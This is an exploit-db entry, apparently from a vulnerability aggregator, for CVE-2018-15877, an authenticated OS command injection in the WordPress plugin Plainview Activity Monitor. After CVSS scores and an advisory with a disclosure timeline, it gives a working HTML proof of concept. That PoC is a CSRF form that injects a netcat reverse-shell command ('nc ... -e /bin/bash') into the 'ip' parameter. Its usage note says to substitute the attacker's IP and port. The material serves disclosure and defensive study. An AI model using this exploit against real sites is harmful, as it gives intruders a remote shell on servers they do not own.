WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection

2018-08-2700:00:00

Lydéric Lefebvre

www.exploit-db.com

9 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.7 High

AI Score

Confidence

High

0.967 High

EPSS

Percentile

99.7%

JSON

<!--
About:
===========
Component: Plainview Activity Monitor (Wordpress plugin)
Vulnerable version: 20161228 and possibly prior
Fixed version: 20180826
CVE-ID: CVE-2018-15877
CWE-ID: CWE-78
Author:
- LydA(c)ric Lefebvre (https://www.linkedin.com/in/lydericlefebvre)

Timeline:
===========
- 2018/08/25: Vulnerability found
- 2018/08/25: CVE-ID request
- 2018/08/26: Reported to developer
- 2018/08/26: Fixed version
- 2018/08/26: Advisory published on GitHub
- 2018/08/26: Advisory sent to bugtraq mailing list

Description:
===========
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected
XSS. Combined, these three vulnerabilities can lead to Remote Command
Execution just with an admin click on a malicious link.

References:
===========
https://github.com/aas-n/CVE/blob/master/CVE-2018-15877/

PoC:
-->

<html>
  <!--  Wordpress Plainview Activity Monitor RCE
        [+] Version: 20161228 and possibly prior
        [+] Description: Combine OS Commanding and CSRF to get reverse shell
        [+] Author: LydA(c)ric LEFEBVRE
        [+] CVE-ID: CVE-2018-15877
        [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
        [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
      <input type="hidden" name="lookup" value="Lookup" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>